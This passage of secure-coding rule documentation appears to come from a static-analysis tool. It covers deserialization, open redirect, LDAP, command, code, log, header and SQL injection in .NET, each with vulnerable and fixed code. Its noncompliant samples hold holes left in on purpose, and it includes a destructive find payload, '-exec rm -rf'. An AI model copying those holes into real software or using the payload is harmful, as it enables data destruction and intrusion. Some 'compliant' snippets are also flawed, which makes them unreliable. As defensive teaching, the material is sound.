In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker additionally manages to elevate his privileges as an administrator and attack other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised through a combination of unsafe deserialization and misconfiguration:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in .NET

Code examples

The following code is vulnerable to deserialization attacks because it deserializes HTTP data without validating it first.

Noncompliant code example

public class Example : Controller
{
    [HttpPost]
    public ActionResult Deserialize(HttpPostedFileBase inputFile)
    {
        ExpectedType expectedObject = null;
        var formatter               = new BinaryFormatter();
        expectedObject              = (ExpectedType)formatter.Deserialize(inputFile.InputStream);
    }
}

Compliant solution

public class Example : Controller
{
    [HttpPost]
    public ActionResult Deserialize(HttpPostedFileBase inputFile)
    {
        ExpectedType expectedObject = null;
        JsonSerializer serializer   = new JsonSerializer(typeof(expectedObject));
        expectedObject              = (ExpectedType)serializer.Deserialize(inputFile.InputStream);
    }
}

How does this work?

Allowing users to provide data for deserialization generally creates more problems than it solves.

Anything that can be done through deserialization can generally be done with more secure data structures.
Therefore, our first suggestion is to avoid deserialization in the first place.

However, if deserialization mechanisms are valid in your context, here are some security suggestions.

More secure serialization methods

Some more secure serialization methods reduce the risk of security breaches, although not definitively.

A complete object serializer is probably unnecessary if you only need to receive primitive data (for example integers, strings, bools, etc.).
In this case, formats such as JSON and XML protect the application from deserialization attacks by default.

For more complex objects, the next step is to control which class fields are exposed by creating class-specific serialization methods.
The most common method is to use Data Transfer Objects (DTO) patterns or Google Protocol Buffers (protobufs). After creating the Protobuf data structure, the Protobuf compiler creates class files that handle operations such as serializing and deserializing data.

Integrity check

Message authentication codes (MAC) can be used to prevent tampering with serialized data that is meant to be stored outside the application server:

• On the server-side, when serializing an object, compute a MAC of the result and append it to the serialized object string.
• When the serialized value is submitted back, verify the serialization string MAC on the server side before deserialization.

Depending on the situation, two MAC computation modes can be used.

If the same application will be responsible for the MAC computing and validation, a symmetric signature algorithm can be used. In that case, HMAC should be preferred, with a strong underlying hash algorithm such as SHA-256.

If multiple parties have to validate the serialized data, an asymetric signature algorithm should be used. This will reduce the chances for a signing secret to be leaked. In that case, the RSASSA-PSS algorithm can be used.

Note: Be sure to store the signing secret securely.

Pre-Approved classes

As a last resort, create a list of approved and safe classes that the application should be able to deserialize.
If the untrusted class does not match an entry in this list, it should be rejected because it is considered unsafe.

Note: Untrusted classes should be filtered out during deserialization, not after.
Depending on the language or framework, this should be possible by overriding the serialization process or using native capabilities to restrict type deserialization.

In the code samples, a pre-approved class is used natively by JsonSerializer to validate the class during serialization. XmlSerializer also provides this capability.
Note: The pre-approved class should not tamper with the application’s inner workings.

The following native types are considered unsafe because they do not provide these capabilities:

• BinaryFormatter
• SoapFormatter
• NetDataContractSerializer
• LosFormatter
• ObjectStateFormatter

Resources

Standards

• OWASP Top 10 2021 Category A8 - Software and Data Integrity Failures
• OWASP Top 10 2017 Category A8 - Insecure Deserialization
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-502 - Deserialization of Untrusted Data

Why is this an issue?

Open redirection occurs when an application uses user-controllable data to redirect users to a URL.

An attacker with malicious intent could manipulate a user to browse into a specially crafted URL, such as https://trusted.example.com?url=evil.example.com, to redirect the victim to his evil domain.

Tricking users into sending the malicious HTTP request is usually the main task of exploiting an open redirection. Often, it requires an attacker to build a credible pretext to prevent suspicions from the victim.

Attackers commonly use open redirect exploits in mass phishing campaigns.

What is the potential impact?

If an attacker tricks a user into opening a link of his choice, the user is redirected to a domain controlled by the attacker.

From then on, the attacker can perform various malicious actions, some more impactful than others.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Domain Mirroring

A malicious link redirects to an attacker’s controlled website mirroring the interface of a web application trusted by the user. Due to the similarity in the application appearance and the apparently trustable clicked hyperlink, the user struggles to identify that they are browsing on a malicious domain.

Depending on the attacker’s purpose, the malicious website can leak credentials, bypass Multi-Factor Authentication (MFA), and reach any authenticated data or action.

Malware Distribution

A malicious link redirects to an attacker’s controlled website that serves malware. On the same basis as the domain mirroring exploitation, the attacker develops a spearphishing or phishing campaign with a carefully crafted pretext that would result in the download and potential execution of a hosted malicious file.
The worst-case scenario could result in complete system compromise.

How to fix it in ASP.NET

Code examples

The following noncompliant code example is vulnerable to open redirection as it constructs a URL with user-controllable data. This URL is then used to redirect the user without being first validated. An attacker can leverage this to manipulate users into performing unwanted redirects.

Noncompliant code example

using System.Web;
using System.Web.Mvc;

public class ExampleController : Controller
{
    [HttpGet]
    public void Redirect(string url)
    {
        Response.Redirect(url);
    }
}

Compliant solution

using System.Web;
using System.Web.Mvc;

public class ExampleController : Controller
{
    private readonly string[] allowedUrls = { "/", "/login", "/logout" };

    [HttpGet]
    public void Redirect(string url)
    {
        if (allowedUrls.Contains(url))
        {
            Response.Redirect(url);
        }
    }
}

How does this work?

Built-in framework methods should be preferred as, more often than not, these provide additional security mechanisms. Usually, these built-in methods are engineered for internal page redirections. Thus, they might not be the solution for the reader’s use case.

In case the application strictly requires external redirections based on user-controllable data, this could be done using the following alternatives:

1. Validating the authority part of the URL against a statically defined value (see Pitfalls).
2. Using an allow-list approach in case the destination URLs are multiple but limited.
3. Adding a customized page to which users are redirected, warning about the imminent action and requiring manual authorization to proceed.

Pitfalls

The trap of 'StartsWith' and equivalents

When validating untrusted URLs by checking if they start with a trusted scheme and authority pair scheme://authority, ensure that the validation string contains a path separator / as the last character.

If the validation string does not contain a terminating path separator, the Open Redirect vulnerability remains; only the exploitation technique changes.

Thus, a validation like startsWith("https://example.com") or an equivalent with the regex ^https://example\.com.* can be exploited with the following URL https://example.com.malicious.io. The practice of taking over domains that maliciously look like existing domains is widespread and is called Cybersquatting.

Resources

Standards

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Why is this an issue?

LDAP injections occur in an application when the application retrieves untrusted data and inserts it into an LDAP query without sanitizing it first.

An LDAP injection can either be basic or blind, depending on whether the server’s fetched data is directly returned in the web application’s response.
The absence of the corresponding response for the malicious request on the application is not a barrier to exploitation. Thus, it must be treated the same way as basic LDAP injections.

What is the potential impact?

In the context of a web application vulnerable to LDAP injection: after discovering the injection point, attackers insert data into the vulnerable field to execute malicious LDAP commands.

The impact of this vulnerability depends on how vital LDAP servers are to the organization.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Data leakage or corruption

In typical scenarios where systems perform innocuous LDAP operations to find users or create inventories, an LDAP injection could result in data leakage or corruption.

Privilege escalation

A malicious LDAP query could allow an attacker to impersonate a low-privileged user or an administrator in scenarios where systems perform authorization checks or authentication.

Attackers use this vulnerability to find multiple footholds on target organizations by gathering authentication bypasses.

How to fix it in .NET

Code examples

The following noncompliant code is vulnerable to LDAP injections because untrusted data is concatenated in an LDAP query without prior validation.

Noncompliant code example

public class ExampleController : Controller
{
    public IActionResult Authenticate(string user, string pass)
    {
        DirectoryEntry directory  = new DirectoryEntry("LDAP://ou=system");
        DirectorySearcher search  = new DirectorySearcher(directory);

        search.Filter = "(&(uid=" + user + ")(userPassword=" + pass + "))";

        return Json(search.FindOne() != null);
    }
}

Compliant solution

public class ExampleController : Controller
{
    public IActionResult Authenticate(string user, string pass)
    {
        // restrict the username and password to letters only
        if (!Regex.IsMatch(user, "^[a-zA-Z]+$") || !Regex.IsMatch(pass, "^[a-zA-Z]+$"))
        {
            return BadRequest();
        }

        DirectoryEntry directory  = new DirectoryEntry("LDAP://ou=system");
        DirectorySearcher search  = new DirectorySearcher(directory);

        search.Filter = "(&(uid=" + user + ")(userPassword=" + pass + "))";

        return Json(search.FindOne() != null);
    }
}

How does this work?

As a rule of thumb, the best approach to protect against injections is to systematically ensure that untrusted data cannot break out of the initially intended logic.

For LDAP injection, the cleanest way to do so is to use parameterized queries if it is available for your use case.

Another approach is to sanitize the input before using it in an LDAP query. Input sanitization should be primarily done using native libraries.

Alternatively, validation can be implemented using an allowlist approach by creating a list of authorized and secure strings you want the application to use in a query. If a user input does not match an entry in this list, it should be rejected because it is considered unsafe.

Important note: The application must sanitize and validate on the server-side. Not on client-side front-ends.

The most fundamental security mechanism is the restriction of LDAP metacharacters.

For Distinguished Names (DN), special characters that need to be escaped include:

• \
• #
• +
• <
• >
• ,
• ;
• "
• =

For Search Filters, special characters that need to be escaped include:

• *
• (
• )
• \
• null

In the compliant solution example, a validation mechanism is applied to untrusted input to ensure it is strictly composed of alphabetic characters.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• RFC 4514 - LDAP: String Representation of Distinguished Names
• RFC 4515 - LDAP: String Representation of Search Filters
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Why is this an issue?

OS command argument injections occur when applications allow the execution of operating system commands from untrusted data but the untrusted data is limited to the arguments.
It is not possible to directly inject arbitrary commands that compromise the underlying operating system, but the behavior of the executed command still might be influenced in a way that allows to expand access, for example, execution of arbitrary commands. The security of the application depends on the behavior of the application that is executed.

What is the potential impact?

An attacker exploiting an arguments injection vulnerability will be able to add arbitrary argument to a system binary call. Depending on the command the parameters are added to, this might lead to arbitrary command execution.

The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process runs with root privileges, and therefore any OS commands or programs may be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Denial of service and data leaks

In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.

An attacker could, for example:

• download the internal server’s data, most likely to sell it
• modify data, send malware
• stop services or exhaust resources (with fork bombs for example)

This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate their privileges to an administrative level and attacks other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised by a combination of OS injections and misconfiguration of:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in .NET

Code examples

The following code uses the find command and expects the user to enter the name of a file to find on the system.

It is vulnerable to arguments injection because untrusted data is inserted directly into the arguments of a process call without sanitization.
The application assumes that incoming data always consists of a specific range of characters and ignores that some characters might force the find command to start a shell.

In this particular case, an attacker may remove files in /some/folder with the following string:

'*' -exec rm -rf {} \;

Noncompliant code example

public class ExampleController : Controller
{
    public void Run(string args)
    {
        Process p             = new Process();
        p.StartInfo.FileName  = "/usr/bin/find";
        p.StartInfo.Arguments = "/some/folder -iname " + args;
        p.Start();
    }
}

Compliant solution

public class ExampleController : Controller
{
    public void Run(string args)
    {
        Process p            = new Process();
        p.StartInfo.FileName = "/usr/bin/find";
        p.StartInfo.ArgumentList.Add("/some/folder");
        p.StartInfo.ArgumentList.Add("-iname");
        p.StartInfo.ArgumentList.Add(args);
        p.Start();
    }
}

How does this work?

Allowing users to insert data in operating system commands generally creates more problems than it solves.

Anything that can be done via operating system commands can usually be done via a language’s native SDK.
Therefore, our suggestion is to avoid using OS commands in the first place.

Here ArgumentList takes care of escaping the passed arguments and internally creates a single string given to the operating system when System.Diagnostics.Process.Start() is called.

Resources

Documentation

• OWASP, OS Command Injection Defense Cheat Sheet
• GTFOBins, list of Unix binaries that can be used to bypass local security restrictions
• LOLBAS, list of Windows binaries that can be used to bypass local security restrictions

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-88 - Argument Injection or Modification

Database connection strings control how an application connects to a database. They include information such as the location of the database, how to authenticate with the database, and how the connection should be secured.

The insertion of user-supplied values into a connection string can allow external control of these database connections.

Why is this an issue?

Connection strings contain a series of parameters that are structured as key/value pairs, similar to key1=value1;key2=value2.

If an attacker can control values that are inserted into the connection string, they may be able to insert additional parameters. These additional parameters can override values that were supplied earlier in the connection string.

What is the potential impact?

An attacker can use specially-crafted values to change how the database connection is made. These values can add new parameters to the connection string, or can override parameters that had already been specified.

Escalation of privilege

Some database servers allow authentication via an OS user account instead of a username and password. The database connection is authenticated as the user running the application. When this authentication mode is used, any username or password in the connection string are ignored.

If an attacker can force the use of this authentication mode, the connection will be made as the user that the web application is running under. This will often be the LocalSystem or NetworkService account on Windows. Such accounts are often given a high level of privileges on the database server.

Credential theft

If an attacker can change the database server in the connection string, they can have the web application connect to a server that they control. The web application will then authenticate with that server, allowing those credentials to be stolen.

Bypassing data validation

Many web applications implicitly trust data that’s stored in the database. The data is validated before it is stored, so no additional validation is performed when that data is loaded.

If an attacker can change the database server in the connection string, they can have the web application connect to a database server that they control. Invalid data in this database could be passed to other services or systems, or could be used to trigger other bugs and logic flaws in the web application.

Network traffic sniffing

The connection string can control how the connection to the database server is secured. For example, it can control whether connections to Microsoft SQL Server use transport layer security (TLS).

If an attacker can disable these network security measures and they have some way to monitor traffic between the web server and the database server, they will be able to see all information that’s written to and read from the database.

How to fix it in .NET

Microsoft’s database connection libraries typically provide a connection string builder class. These classes provide methods and properties that safely set parameter values.

Connection string builders will only protect you if you use these methods and properties to set parameter values. They will not help if you are using them to modify a connection string where user-supplied values have already been added.

If no connection string builder is available, user-supplied values must either be validated to ensure that they’re not malicious, or must be properly quoted so that they cannot interfere with other connection string parameters.

Code examples

Noncompliant code example

public string ConnectionString { get; set; } = "Server=10.0.0.101;Database=CustomerData";

public SqlConnection ConnectToDatabase(HttpRequest request)
{
    string connectionString = string.Format("{0};User ID={1};Password={2}",
        ConnectionString,
        request.Form["username"],
        request.Form["password"]);

    SqlConnection connection = new SqlConnection();
    connection.ConnectionString = connectionString; // Noncompliant
    connection.Open();
    return connection;
}

Compliant solution

public string ConnectionString { get; set; } = "Server=10.0.0.101;Database=CustomerData";

public SqlConnection ConnectToDatabase(HttpRequest request)
{
    SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(ConnectionString);
    builder.UserID = request.Form["username"];
    builder.Password = request.Form["password"];

    SqlConnection connection = new SqlConnection();
    connection.ConnectionString = builder.ConnectionString;
    connection.Open();
    return connection;
}

How does this work?

Connection string builders will ensure that values are correctly sanitized when adding them to the connection string.

Resources

Documentation

• Microsoft - Connection string syntax

Conference presentations

• DefCon 18: Alonso Palazon, Connection String Attacks - presentation, white paper

Standards

• MITRE, CWE15 - External Control of System or Configuration Setting
• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection

Why is this an issue?

Log injection occurs when an application fails to sanitize untrusted data used for logging.

An attacker can forge log content to prevent an organization from being able to trace back malicious activities.

What is the potential impact?

If an attacker can insert arbitrary data into a log file, the integrity of the chain of events being recorded can be compromised.
This frequently occurs because attackers can inject the log entry separator of the logger framework, commonly newlines, and thus insert artificial log entries.
Other attacks could also occur requiring only field pollution, such as cross-site scripting (XSS) or code injection (for example, Log4Shell) if the logged data is fed to other application components, which may interpret the injected data differently.

The focus of this rule is newline character replacement.

Log Forge

An attacker, able to create independent log entries by injecting log entry separators, inserts bogus data into a log file to conceal his malicious activities. This obscures the content for an incident response team to trace the origin of the breach as the indicators of compromise (IoCs) lead to fake application events.

How to fix it in ASP.NET

Code examples

The following code is vulnerable to log injection as it constructs log entries using untrusted data. An attacker can leverage this to manipulate the chain of events being recorded.

Noncompliant code example

using System.Web;
using System.Web.Mvc;

public class ExampleController : Controller
{
    private static readonly log4net.ILog _logger = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);

    [HttpGet]
    public void Log(string data)
    {
        if (data != null)
        {
            _logger.Info("Log: " + data); // Noncompliant
        }
    }
}

Compliant solution

using System.Web;
using System.Web.Mvc;

public class ExampleController : Controller
{
    private static readonly log4net.ILog _logger = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);

    [HttpGet]
    public void Log(string data)
    {
        if (data != null)
        {
            data = data.Replace('\n', '_').Replace('\r', '_');
            _logger.Info("Log: " + data);
        }
    }
}

How does this work?

Data used for logging should be content-restricted and typed. This can be done by validating the data content or sanitizing it.
Validation and sanitization mainly revolve around preventing carriage return (CR) and line feed (LF) characters. However, further actions could be required based on the application context and the logged data usage.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2021 Category A9 - Security Logging and Monitoring Failures
• OWASP Top 10 2017 Category A1 - Injection
• OWASP Top 10 2017 Category A10 - Insufficient Logging & Monitoring
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-117 - Improper Output Neutralization for Logs

This rule is deprecated; use S5122, S5146, S6287 instead.

Why is this an issue?

User-provided data, such as URL parameters, POST data payloads, or cookies, should always be considered untrusted and tainted. Applications constructing HTTP response headers based on tainted data could allow attackers to change security sensitive headers like Cross-Origin Resource Sharing headers.

Web application frameworks and servers might also allow attackers to inject new line characters in headers to craft malformed HTTP response. In this case the application would be vulnerable to a larger range of attacks like HTTP Response Splitting/Smuggling. Most of the time this type of attack is mitigated by default modern web application frameworks but there might be rare cases where older versions are still vulnerable.

As a best practice, applications that use user-provided data to construct the response header should always validate the data first. Validation should be based on a whitelist.

Noncompliant code example

string value = Request.QueryString["value"];
Response.AddHeader("X-Header", value); // Noncompliant

Compliant solution

string value = Request.QueryString["value"];
// Allow only alphanumeric characters
if (value == null || !Regex.IsMatch(value, "^[a-zA-Z0-9]+$"))
{
  throw new Exception("Invalid value");
}
Response.AddHeader("X-Header", value);

Resources

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Attack Category - HTTP Response Splitting
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
• SANS Top 25 - Insecure Interaction Between Components

Why is this an issue?

OS command injections occur when applications build command lines from untrusted data before executing them with a system shell.
In that case, an attacker can tamper with the command line construction and force the execution of unexpected commands. This can lead to the compromise of the underlying operating system.

What is the potential impact?

An attacker exploiting an OS command injection vulnerability will be able to execute arbitrary commands on the underlying operating system.

The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process runs with root privileges, and therefore any OS commands or programs may be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Denial of service and data leaks

In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.

An attacker could, for example:

• download the internal server’s data, most likely to sell it
• modify data, send malware
• stop services or exhaust resources (with fork bombs for example)

This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate their privileges to an administrative level and attacks other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised by a combination of OS injections and misconfiguration of:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in .NET

Code examples

The following code is vulnerable to command injections because it is using untrusted inputs to set up a new process. Therefore an attacker can execute an arbitrary program that is installed on the system.

Noncompliant code example

public class ExampleController : Controller
{
    public void Run(string binary)
    {
        Process p = new Process();
        p.StartInfo.FileName = binary;
        p.Start();
    }
}

Compliant solution

public class ExampleController : Controller
{
    public void Run(string binary)
    {
        if (binary.Equals("/usr/bin/ls") || binary.Equals("/usr/bin/cat"))
        {
            // only ls and cat commands are authorized
            Process p = new Process();
            p.StartInfo.FileName = binary;
            p.Start();
        }
    }
}

How does this work?

Allowing users to execute operating system commands generally creates more problems than it solves.

Anything that can be done via operating system commands can usually be done via a language’s native SDK.
Therefore, our first suggestion is to avoid using OS commands in the first place.
However, if the application requires running OS commands with user-controlled data, here are some security suggestions.

Pre-Approved commands

If the application aims to execute only a small number of OS commands (for example, ls, pwd, and grep), the cleanest way to avoid this problem is to validate the input before using it in an OS command.

Create a list of authorized and secure commands that you want the application to be able to execute. Use absolute paths to avoid any ambiguity.
If a user input does not match an entry in this list, it should be rejected because it is considered unsafe.

Depending on the number of commands you want the application to support, the list can be either a regex string or any array type. If you use regexes, choose simple regexes to avoid ReDOS attacks. For example, you can accept only a specific set of executables, by using ^/bin/(ls|pwd|grep)$.

Important note: The application must do validation on the server side. Not on client-side front-ends.

Neutralize special characters

If the application is to execute complex commands that cannot be controlled thanks to pre-approved lists, the cleanest approach is to use special sanitization components, such as System.Diagnostics.ProcessStartInfo.

The library helps you to get rid of common dangerous characters, such as:

• &
• |
• ;
• $
• >
• <
• \`
• \\
• !

If user input is to be included in the arguments of a command, the application must ensure that dangerous options or argument delimiters are neutralized.
Argument delimiters count ', - and spaces.

For example, the find command from UNIX supports the dangerous argument -exec.
In this case, option processing can be terminated with a string containing -- or with special options. For example, git supports --end-of-options since its version 2.24.

Here, using the ProcessStartInfo structure helps escaping the passed arguments and internally creates a single string given to the operating system when System.Diagnostics.Process.Start() is called.

Resources

Documentation

• OWASP, OS Command Injection Defense Cheaty Sheet
• GTFOBins, list of Unix binaries that can be used to bypass local security restrictions
• LOLBAS, list of Windows binaries that can be used to bypass local security restrictions

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-78 - Improper Neutralization of Special Elements used in an OS Command

Why is this an issue?

Code injections occur when applications allow the dynamic execution of code instructions from untrusted data.
An attacker can influence the behavior of the targeted application and modify it to get access to sensitive data.

What is the potential impact?

An attacker exploiting a dynamic code injection vulnerability will be able to execute arbitrary code in the context of the vulnerable application.

The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process that executes the code runs with root privileges, and therefore any OS commands or programs may be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Denial of service and data leaks

In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.

An attacker could, for example:

• download the internal server’s data, most likely to sell it
• modify data, send malware
• stop services or exhaust resources (with fork bombs for example)

This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Root privilege escalation and pivot

In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate their privileges to an administrative level and attacks other servers.

Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised by a combination of code injections and misconfiguration of:

• Docker or Kubernetes clusters
• cloud services
• network firewalls and routing
• OS access control

How to fix it in .NET

Code examples

The following code is vulnerable to arbitrary code execution because it compiles and runs HTTP data.

Noncompliant code example

using System.CodeDom.Compiler;

public class ExampleController : Controller
{
    public void Run(string message)
    {
        const string code = @"
            using System;
            public class MyClass
            {
                public void MyMethod()
                {
                    Console.WriteLine(""" + message + @""");
                }
            }
        ";

        var provider = CodeDomProvider.CreateProvider("CSharp");
        var compilerParameters = new CompilerParameters { ReferencedAssemblies = { "System.dll", "System.Runtime.dll" } };
        var compilerResults = provider.CompileAssemblyFromSource(compilerParameters, code);
        object myInstance = compilerResults.CompiledAssembly.CreateInstance("MyClass");
        myInstance.GetType().GetMethod("MyMethod").Invoke(myInstance, new object[0]);
    }
}

Compliant solution

using System.CodeDom.Compiler;

public class ExampleController : Controller
{
    public void Run(string message)
    {
        const string code = @"
            using System;
            public class MyClass
            {
                public void MyMethod(string input)
                {
                    Console.WriteLine(input);
                }
            }
        ";

        var provider = CodeDomProvider.CreateProvider("CSharp");
        var compilerParameters = new CompilerParameters { ReferencedAssemblies = { "System.dll", "System.Runtime.dll" } };
        var compilerResults = provider.CompileAssemblyFromSource(compilerParameters, code);
        object myInstance = compilerResults.CompiledAssembly.CreateInstance("MyClass");
        myInstance.GetType().GetMethod("MyMethod").Invoke(myInstance, new object[]{ message }); // Pass message to dynamic method
    }
}

How does this work?

Allowing users to execute code dynamically generally creates more problems than it solves.

Anything that can be done via dynamic code execution can usually be done via a language’s native SDK and static code.
Therefore, our suggestion is to avoid executing code dynamically.
If the application requires the execution of dynamic code, additional security measures must be taken.

Dynamic parameters

When the untrusted values are only expected to be values used in standard processing, it is generally possible to provide them as parameters of the dynamic code. In that case, care should be taken to ensure that only the name of the untrusted parameter is passed to the dynamic code and not that its value is expanded into it. After that, the dynamic code will be able to safely access the untrusted parameter content and perform the processing.

The compliant code example uses such an approach.

Allow list

When the untrusted parameters are expected to contain operators, function names or other reflection-related values, best practices would encourage using an allow list. This one would contain a list of accepted safe values that can be used as part of the dynamic code.

When receiving an untrusted parameter, the application would verify its value is contained in the configured allow list. If it is present, the parameter is accepted. Otherwise, it is rejected and an error is raised.

Another similar approach is using a binding between identifiers and accepted values. That way, users are only allowed to provide identifiers, where only valid ones can be converted to a safe value.

Resources

Articles & blog posts

• SonarSource, Evil Teacher: Code Injection in Moodle

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
• SANS Top 25 - Risky Resource Management

Memory allocation injections occur when an application computes the size of a piece of memory to be allocated from an untrusted source. In such a case, an attacker could be able to make the application unwillingly consume an important amount of memory by enforcing a large allocation size.

Why is this an issue?

By repeatedly requesting a feature that consumes a lot of memory, attackers can constantly occupy an important part of an application’s hosting server memory. Depending on the application’s deployment architecture, hosting server resources and attackers' capabilities, this can lead to an exhaustion of the available server’s memory.

What is the potential impact?

A server that faces a memory exhaustion situation can become unstable. The exact impact will depend on how the affected application is deployed and how well the hosting server configuration is hardened.

In the worst case, when the application is deployed in an uncontained environment, directly on its host system, the memory exhaustion will affect the whole hosting server. The server’s operating system might start killing arbitrary memory-intensive processes, including the main application or other sensitive ones. This will result in a general operating failure, also known as a Denial of Service (DoS).

In cases where the application is deployed in a virtualized or otherwise contained environment, or where memory usage limits are in place, the consequences are limited to the vulnerable application only. In that case, other processes and applications hosted on the same server may keep on running without perturbation. The mainly affected application will still stop working properly.

In general, that kind of DoS attack can have severe financial consequences. They are particularly important when the affected systems are business-critical.

How to fix it in .NET

Code examples

The following code is vulnerable to a memory allocation injection because the size of a memory allocation is determined using a user-controlled source. It then performs the actual allocation without any verification or other sanitization over the provided size.

Noncompliant code example

[Route("NonCompliantArrayList")]
public string NonCompliantArrayList()
{
    int size;
    try
    {
        size = int.Parse(Request.Query["size"]);
    }
    catch (FormatException)
    {
        return "Number format exception while reading size";
    }
    ArrayList arrayList = new ArrayList(size); // Noncompliant
    return size + " bytes were allocated.";
}

Compliant solution

public const int MAX_ALLOC_SIZE = 1024;

[Route("CompliantArrayList")]
public string CompliantArrayList()
{
    int size;
    try
    {
        size = int.Parse(Request.Query["size"]);
    }
    catch (FormatException)
    {
        return "Number format exception while reading size";
    }
    size = Math.Min(size, MAX_ALLOC_SIZE);
    ArrayList arrayList = new ArrayList(size);
    return size + " bytes were allocated.";
}

How does this work?

Enforce an upper limit

When performing a memory allocation whose size depends on a user-controlled parameter, it is of prime importance to enforce an upper limit to the size being allocated. This will prevent any overly big memory slot from being consumed by a single allocation.

Note that forcing an upper limit will not prevent Denial of Service attacks. When an allocation size is restricted to a reasonable amount, attackers can still request the allocating feature multiple times until the combined allocation size becomes big enough to cause exhaustion. However, the smaller the allowed allocation size, the higher the number of necessary requests and, thus, the higher the required resources on the attacker side. As for most of the DoS attack vectors, a trade-off must be found to prevent most attackers from causing exhaustion while keeping a good level of performance and usability.

Here, the example compliant code uses the Math.Min function to enforce a reasonable upper bound to the allocation size. In that case, no more than 1024 bytes can be allocated at a time.

Harden the execution environment configuration

As a defense in depth measure, it is advised to harden the execution environment configuration regarding memory usage. This can effectively reduce the scope of a successful Denial of Service attack and prevent a complete outage, potentially ranging over multiple applications.

When running the application in a contained environment, like a Docker container, it is usually possible to limit the amount of memory provided to the contained environment. In that case, memory exhaustion will only impact the application hosting container and not the host system.

When running the application directly on a physical or heavy virtualized server, memory limits can sometimes be set on the application’s associated service account. For example, the ulimit mechanism of Unix based operating systems can be used for that purpose. With such a limit set up, memory exhaustion only impacts the applications and processes owned by the related service account.

Resources

Documentation

• OWASP - Denial of Service
• Linux.org - pam_limits - PAM module to limit resources
• RedHat - How to set limits for services in RHEL and systemd

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE789 - Memory Allocation with Excessive Size Value

Why is this an issue?

Database injections (such as SQL injections) occur in an application when the application retrieves data from a user or a third-party service and inserts it into a database query without sanitizing it first.

If an application contains a database query that is vulnerable to injections, it is exposed to attacks that target any database where that query is used.

A user with malicious intent carefully performs actions whose goal is to modify the existing query to change its logic to a malicious one.

After creating the malicious request, the attacker can attack the databases affected by this vulnerability without relying on any pre-requisites.

What is the potential impact?

In the context of a web application that is vulnerable to SQL injection:
After discovering the injection, attackers inject data into the vulnerable field to execute malicious commands in the affected databases.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Identity spoofing and data manipulation

A malicious database query enables privilege escalation or direct data leakage from one or more databases. This threat is the most widespread impact.

Data deletion and denial of service

The malicious query makes it possible for the attacker to delete data in the affected databases.
This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).

Chaining DB injections with other vulnerabilities

Attackers who exploit SQL injections rely on other vulnerabilities to maximize their profits.
Most of the time, organizations overlook some defense in depth measures because they assume attackers cannot reach certain points in the infrastructure. This misbehavior can lead to multiple attacks with great impact:

• When secrets are stored unencrypted in databases: Secrets can be exfiltrated and lead to compromise of other components.
• If server-side OS and/or database permissions are misconfigured, injection can lead to remote code execution (RCE).
  • See our article on this topic

How to fix it in Entity Framework Core

Code examples

